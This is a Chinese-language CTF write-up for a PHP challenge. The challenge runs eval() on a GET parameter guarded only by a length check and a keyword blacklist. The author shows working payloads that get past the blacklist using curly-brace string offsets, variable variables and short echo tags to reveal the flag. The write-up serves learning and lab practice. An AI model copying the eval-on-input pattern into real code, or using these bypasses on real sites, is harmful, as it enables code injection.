写在前面:
这道题过滤太阴间了,这我是看了大佬的题解才有的启发。
WP:
代码:
<?php
error_reporting(0);
require __DIR__.'/flag.php';
$exam = 'return\''.sha1(time()).'\';';
if (!isset($_GET['flag'])) {
echo '<a href="./?flag='.$exam.'">Click here</a>';
}
else if (strlen($_GET['flag']) != strlen($exam)) {
echo '长度不允许';
}
else if (preg_match('/`|"|\.|\\\\|\(|\)|\[|\]|_|flag|echo|print|require|include|die|exit/is', $_GET['flag'])) {
echo '关键字不允许';
}
else if (eval($_GET['flag']) === sha1($flag)) {
echo $flag;
}
else {
echo '马老师发生甚么事了';
}
echo '<hr>';
highlight_file(__FILE__);
首先要符合长度,这一点很简单,只要点击提示部分就会得到:
?flag=return'07b337ae4078972e8619fd3a40913ad714441b57';
我们只要在这个基础上修改就行了
接下来就是想办法绕过过滤,这个过滤太阴间了!!!
它禁止使用:
',",/,.,\,\,(,),{,},_,flag,echo,print,require,include,die,exit。
在看了大佬的payload后
payload=?flag=$a='blag';$a{0}='f';?>11111111111111111;<?=$$a;?>
我也尝试构造了一个:
payload=?flag=$payload='flab';$payload{3}='g';?><?=$$payload;?>
解锁新的过滤姿势:
1){}代替[]
2) 利用PHP是可变变量的性质
3)利用短标签